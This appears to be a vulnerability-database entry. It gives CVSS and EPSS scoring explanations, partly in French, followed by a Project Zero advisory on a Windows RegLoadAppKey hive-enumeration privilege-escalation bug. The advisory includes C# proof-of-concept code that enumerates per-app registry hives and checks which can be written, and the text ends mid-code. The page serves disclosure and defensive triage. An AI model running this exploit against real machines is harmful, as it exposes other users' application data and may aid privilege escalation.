Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=870 Windows: RegLoadAppKey Hive Enumeration EoP Platform: Windows 10 10586 not tested 8.1 Update 2 or Windows 7 Class: Elevation of Privilege Summary: RegLoadAppKey is documented to load keys in a location which can’t be enumerated and also non-guessable. However it’s possible to enumerate loaded hives and find ones which can be written to which might lead to EoP. Description: The RegLoadAppKey API loads a user specified hive without requiring administrator privileges. This is used to provide per-application registry hives and is used extensively by Immersive Applications but also some system services. The MSDN documentation states that the keys cannot be enumerated, the only way to get access to the same hive is by opening the file again using RegLoadAppKey which requires having suitable permissions on the target hive file. It also ensures that you can’t guess the loaded key name by generating a random GUID which is going to be pretty difficult to brute-force. This in part seems to be true if you try and open directly the attachment point of ‘\Registry\A’. That fails with access denied (I’ve not looked into the kernel to work out what actually does this check). However there’s no protection from recursive enumeration, so we can open ‘\Registry’ for read access, then open ‘A’ relative to that key. With this we can now enumerate all the loaded per-app hives. What we can do with this is less clear cut as it depends on what is using application hives at the current point in time. Immersive applications use per-app hives for their activation data and settings. While the activation hive seems to be correctly locked to only the user, the settings are not. As the default DACL for the settings hive is granting Everyone and ALL_APPLICATION_PACKAGES full access this means an Immersive Application could read/write settings data from any other running application. This even works between users on the same machine, so for example on a Terminal Server one user could read the settings of another user’s running Immersive Applications. At the least this is an information disclosure issue, but it might Edge content processes to access the settings of the main Edge process (which runs under a different package SID). A few system services also use per-app hives, including the Background Tasks Infrastructure Service and Program Compatibility Assistant. The tasks hive is locked for write access to normal user’s although it can be read, while the PCA hive is fully writable by any user on the system (the hives file isn’t even readable by a normal user, let alone writable). I’ve not investigated if it’s possible to abuse this access to elevate privileges, but it certainly seems a possibility. There might be other vulnerable services which could be exploited, however I’ve not investigated much further on this. In the end it’s clear that there’s an assumption being made that as these hives shouldn’t be enumerable then that’s enough security to prevent abuse. This is especially true with the settings hives for immersive applications, the file DACL is locked to the package SID however the hive itself is allowed for all access to any package and relies on the fact that an application couldn’t open a new handle to it as the security boundary. Proof of Concept: I’ve provided a PoC as a C# source code file. You need to compile it first. 1) Compile the C# source code file. 2) Execute the PoC executable as a normal user. 3) The PoC should print that it’s found some registry hives which it shouldn’t be able to enumerate. 4) It should also say it’s found the PCA hive as well. Expected Result: You can’t enumerate per-app registry hives. Observed Result: The hives can be enumerated and also some of them can be written to. */ using Microsoft.Win32; using Microsoft.Win32.SafeHandles; using System; using System.Runtime.InteropServices; namespace Poc_RegLoadAppKey_EoP { class Program { [Flags] enum AttributeFlags : uint { None = 0, Inherit = 0x00000002, Permanent = 0x00000010, Exclusive = 0x00000020, CaseInsensitive = 0x00000040, OpenIf = 0x00000080, OpenLink = 0x00000100, KernelHandle = 0x00000200, ForceAccessCheck = 0x00000400, IgnoreImpersonatedDevicemap = 0x00000800, DontReparse = 0x00001000, } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] sealed class UnicodeString { ushort Length; ushort MaximumLength; [MarshalAs(UnmanagedType.LPWStr)] string Buffer; public UnicodeString(string str) { Length = (ushort)(str.Length * 2); MaximumLength = (ushort)((str.Length * 2) + 1); Buffer = str; } } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] sealed class ObjectAttributes : IDisposable { int Length; IntPtr RootDirectory; IntPtr ObjectName; AttributeFlags Attributes; IntPtr SecurityDescriptor; IntPtr SecurityQualityOfService; private static IntPtr AllocStruct(object s) { int size = Marshal.SizeOf(s); IntPtr ret = Marshal.AllocHGlobal(size); Marshal.StructureToPtr(s, ret, false); return ret; } private static void FreeStruct(ref IntPtr p, Type struct_type) { Marshal.DestroyStructure(p, struct_type); Marshal.FreeHGlobal(p); p = IntPtr.Zero; } public ObjectAttributes(string object_name, AttributeFlags flags, IntPtr root) { Length = Marshal.SizeOf(this); if (object_name != null) { ObjectName = AllocStruct(new UnicodeString(object_name)); } Attributes = flags; RootDirectory = root; } public void Dispose() { if (ObjectName != IntPtr.Zero) { FreeStruct(ref ObjectName, typeof(UnicodeString)); } GC.SuppressFinalize(this); } ~ObjectAttributes() { Dispose(); } } [Flags] enum GenericAccessRights : uint { None = 0, GenericRead = 0x80000000, GenericWrite = 0x40000000, GenericExecute = 0x20000000, GenericAll = 0x10000000, Delete = 0x00010000, ReadControl = 0x00020000, WriteDac = 0x00040000, WriteOwner = 0x00080000, Synchronize = 0x00100000, MaximumAllowed = 0x02000000, } class NtException : ExternalException { [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern IntPtr GetModuleHandle(string modulename); [Flags] enum FormatFlags { AllocateBuffer = 0x00000100, FromHModule = 0x00000800, FromSystem = 0x00001000, IgnoreInserts = 0x00000200 } [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern int FormatMessage( FormatFlags dwFlags, IntPtr lpSource, int dwMessageId, int dwLanguageId, out IntPtr lpBuffer, int nSize, IntPtr Arguments ); [DllImport("kernel32.dll")] private static extern IntPtr LocalFree(IntPtr p); private static string StatusToString(int status) { IntPtr buffer = IntPtr.Zero; try { if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts, GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0) { return Marshal.PtrToStringUni(buffer); } } finally { if (buffer != IntPtr.Zero) { LocalFree(buffer); } } return String.Format("Unknown Error: 0x{0:X08}", status); } public NtException(int status) : base(StatusToString(status)) { } } static void StatusToNtException(int status) { if (status < 0) { throw new NtException(status); } } [DllImport("ntdll.dll")] static extern int NtOpenKeyEx( out SafeRegistryHandle KeyHandle, GenericAccessRights DesiredAccess, [In] ObjectAttributes ObjectAttributes, int OpenOptions ); [DllImport("ntdll.dll")] static extern int NtClose(IntPtr handle); static RegistryKey OpenKey(RegistryKey base_key, string path, bool writable = false, bool throw_on_error = true) { IntPtr root_key = base_key != null ? base_key.Handle.DangerousGetHandle() : IntPtr.Zero; using (ObjectAttributes KeyName = new ObjectAttributes(path, AttributeFlags.CaseInsensitive | AttributeFlags.OpenLink, root_key)) { SafeRegistryHandle keyHandle; GenericAccessRights desired_access = GenericAccessRights.GenericRead; if (writable) { desired_access |= GenericAccessRights.GenericWrite; } int status = NtOpenKeyEx(out keyHandle, desired_access, KeyName, 0); if (throw_on_error) { StatusToNtException(status); } if (status == 0) return RegistryKey.FromHandle(keyHandle); return null; } } static void DoExploit() { RegistryKey root_key = OpenKey(null, @"\Registry"); RegistryKey attach_key = root_key.OpenSubKey("A"); foreach (string key_name in attach_key.GetSubKeyNames()) { bool writable = true; RegistryKey app_key = OpenKey(attach_key, key_name, true, false); if (app_key == null) { writable = false; app_key = OpenKey(attach_key, key_name, false, false); } if (app_key != null) { Console.WriteLine(@"Found {0} Key \Registry\A\{1}", writable ?
